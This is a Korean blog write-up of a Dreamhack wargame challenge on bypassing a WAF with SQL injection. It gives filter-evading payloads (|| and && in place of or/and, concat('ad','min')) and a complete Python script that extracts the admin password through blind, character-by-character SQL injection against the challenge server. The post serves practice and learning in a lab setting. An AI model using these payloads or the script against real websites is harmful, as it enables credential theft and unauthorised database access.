본문 바로가기
IT Security/DreamHack

드림핵 워게임 sql injection bypass WAF Advanced 문제 풀이 정리 (Level 2)

by 바닐라이코노미 2024. 11. 9.
반응형

드림핵 사이트의 워게임 중 웹 해킹 관련

sql injection bypass WAF Advanced (Level 2) 문제에 대해서 정리 해보려 합니다

 

<문제설명>

Exercise: SQL Injection Bypass WAF의 패치된 문제입니다

 

<문제를 풀기 위한 시도 정리>

 

소스코드를 보면 SQL Injection Bypass WAF 보다 필터링 기준이 추가 된 것을 확인

① UnioN, SelecT등의 대문자를 섞는 부분이 data.lower()함수를 통해 소문자로 모두 변경되서 우회 불가

② \n, \t 등의 띄어쓰기, 개행 등 값 필터링

 

기존에 통했던 방법을 확인 겸 입력을 해본다

WAF 필터링에 block 됨을 확인

# your request has been blocked by WAF.
'Admin                         
'UniON	Select	1,	2,	3#'

 

or → || (우회)

and → && (우회)

admin   concat('ad','min') 또는 reverse(nimda)

 

or 연산을 통해 뒤의 로직을 참, 거짓을 통해 blind sql injection을 진행할 수 있다

'||uid=concat('ad','min')#

 

'||uid=concat('ad','min')&&ascii(substr(upw,1,1))=32# #false
'||uid=concat('ad','min')&&ascii(substr(upw,1,1))=68# #true

 

 

먼저 패스워드 길이를 찾는 로직과 그 다음 아스키값을 비교하여 패스워드 문자를 만드는 PoC코드를 작성해서 수행한다

import requests
import urllib.parse

# 설정: URL 및 조건 확인
url = "http://host3.dreamhack.games:10212/?uid="

# 비밀번호 길이 찾기 함수
def find_password_length():
    for length in range(1, 50):  # 비밀번호 최대 길이를 50으로 가정
        payload = f"'||uid=concat('ad','min')&&length(upw)={length}#"
        encoded_payload = urllib.parse.quote(payload, safe='')  # URL 인코딩
        response = requests.get(url + encoded_payload)
        if "admin" in response.text:
            print(f"비밀번호 길이는 {length} 입니다.")
            return length
    return None

# 비밀번호 찾기 함수
def find_password(length):
    password = ""
    for i in range(1, length + 1):
        for ascii_code in range(32, 128):  # 일반적인 아스키 코드 범위
            payload = f"'||uid=concat('ad','min')&&ascii(substr(upw,{i},1))={ascii_code}#"
            encoded_payload = urllib.parse.quote(payload, safe='')  # URL 인코딩
            response = requests.get(url + encoded_payload)
            if "admin" in response.text:
                password += chr(ascii_code)
                print(f"현재까지 찾은 비밀번호: {password}")
                break
    return password

# 실행
length = find_password_length()
if length:
    password = find_password(length)
    print(f"비밀번호는: {password}")
else:
    print("비밀번호 길이를 찾지 못했습니다.")

 

이렇게 하면 최종적으로 FLAG값을 획득할 수 있다

 

 

문제 출처 및 참조

https://learn.dreamhack.io/

반응형